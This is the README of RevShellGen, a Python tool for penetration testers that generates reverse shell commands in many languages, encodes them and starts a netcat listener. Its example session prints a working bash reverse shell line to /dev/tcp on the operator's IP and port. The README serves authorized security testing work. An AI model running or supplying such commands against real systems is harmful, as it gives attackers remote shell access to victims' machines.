Revshellgen

Reverse shell generator written in Python 3.

Generate Convert Improve

Install / Use

/learn @t0thkr1s/Revshellgen

About this skill

Quality Score

0/100

README

🚀 RevShellGen

Reverse Shell Generator

<p align="center"> <b>Automate reverse shell generation with style</b><br> <i>Generate, encode, and catch reverse shells without the hassle</i> </p>

Features • Installation • Usage • Shell Types • Contributing

</div>

📖 About

RevShellGen is a powerful command-line tool that simplifies the process of generating reverse shell commands. No more looking up syntax, no more manual encoding, no more configuration headaches. This tool handles it all with an intuitive interface.

🎯 Key Features

🖥️ Interactive CLI - User-friendly menu-driven interface
🔄 Automatic encoding - URL and Base64 encoding support
📋 Clipboard integration - Auto-copy generated commands
🌐 Network detection - Automatic IP address discovery
🎨 Multiple shell types - Bash, Python, Netcat, PowerShell, and more
🔊 Built-in listener - Automatic netcat/ncat listener setup
🍎 Cross-platform - Full support for Linux and macOS
📚 TTY upgrade guide - Comprehensive instructions for shell upgrades

🚀 Quick Start

Option 1: Install from PyPI

# Install from PyPI
pip install revshellgen

# Run the tool
revshellgen

Option 2: Install from Source

# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Install dependencies
pip3 install -r requirements.txt

# Run the tool
python3 revshellgen.py  # or python3 revshellgen_cli.py

📦 Installation

Prerequisites

Python 3.6 or higher
pip (Python package manager)

Dependencies

RevShellGen requires the following Python packages:

| Package | Purpose | |---------|----------| | pyperclip | Clipboard operations | | colorama | Terminal colors | | readchar | Interactive key input | | netifaces | Network interface detection |

Installation Methods

<details> <summary><b>Method 1: Using requirements.txt (Simplest)</b></summary>

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt

</details> <details> <summary><b>Method 2: Using setup.py (Traditional)</b></summary>

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install

</details> <details> <summary><b>Method 3: Virtual environment (Recommended for isolation)</b></summary>

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt

</details> <details> <summary><b>Method 4: Manual installation</b></summary>

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces

</details> <details> <summary><b>Method 5: User installation (no sudo required)</b></summary>

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

</details>

Platform-Specific Notes

🐧 Linux

# You may need to install python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Install ncat for better listener support
brew install nmap  # Includes ncat

💻 Usage

Basic Workflow

Start the tool
```
python3 revshellgen.py
```
Configure your reverse shell
- Select your IP address (auto-detected)
- Choose a port (e.g., 4444, 9001)
- Select shell type (bash, python, etc.)
- Choose encoding (none, URL, Base64)
Generated command is automatically copied to clipboard
Start the listener (automatic)
Execute the command on the target machine

📸 Screenshots

<div align="center"> <table> <tr> <td align="center"> <img src="https://i.imgur.com/OBWE1KA.png" width="400"/><br> <b>Shell Selection</b> </td> <td align="center"> <img src="https://i.imgur.com/xJZ1sHB.png" width="400"/><br> <b>Command Generation</b> </td> </tr> </table> </div>

🐚 Supported Shells

| Shell Type | Description | Platform | |------------|-------------|----------| | Bash | Bash TCP reverse shell | Linux/Unix | | Python | Python-based reverse shell | Cross-platform | | Netcat | Traditional nc reverse shell | Linux/Unix | | Netcat mkfifo | Netcat with named pipe | Linux/Unix | | Perl | Perl-based reverse shell | Cross-platform | | PHP | PHP reverse shell | Cross-platform | | Ruby | Ruby-based reverse shell | Cross-platform | | Java | Java reverse shell | Cross-platform | | AWK | AWK reverse shell | Linux/Unix | | Socat | Socat reverse shell | Linux/Unix | | Socat TTY | Socat with full TTY | Linux/Unix | | Telnet | Telnet reverse shell | Linux/Unix | | PowerShell | Windows PowerShell | Windows |

🔧 Advanced Features

TTY Shell Upgrade

RevShellGen now includes comprehensive TTY upgrade instructions. After catching a shell, the tool provides:

Step-by-step PTY spawn methods
Terminal size detection and configuration
Multiple upgrade techniques for different environments
Troubleshooting tips for common issues
Quick reference commands

Encoding Options

None - Raw command output
URL Encode - For web application exploitation
Base64 - For command obfuscation

Listener Options

The tool automatically detects and uses the appropriate netcat variant:

ncat (preferred, from nmap package)
nc (traditional netcat)
macOS-specific nc syntax support

📝 Example Session

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444

---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

Development Setup

# Clone your fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# Create a branch
git checkout -b feature/your-feature-name

# Make your changes and commit
git add .
git commit -m "Add your feature"

# Push to your fork
git push origin feature/your-feature-name

# Create a Pull Request

🐛 Issues & Support

Found a bug or have a suggestion? Please open an issue on GitHub.

📜 License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.

⚠️ Disclaimer

This tool is intended for authorized penetration testing and educational purposes only.

The use of this tool against systems you do not own or have explicit permission to test is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

🙏 Acknowledgments

PayloadsAllTheThings - Reverse shell references
ropnop - TTY upgrade techniques
PentestMonkey - Reverse shell cheat sheet
All contributors and users of this tool

<div align="center"> <b>Made with ❤️ by <a href="https://github.com/t0thkr1s">t0thkr1s</a></b><br> <i>Star ⭐ this repository if you find it useful!</i> </div>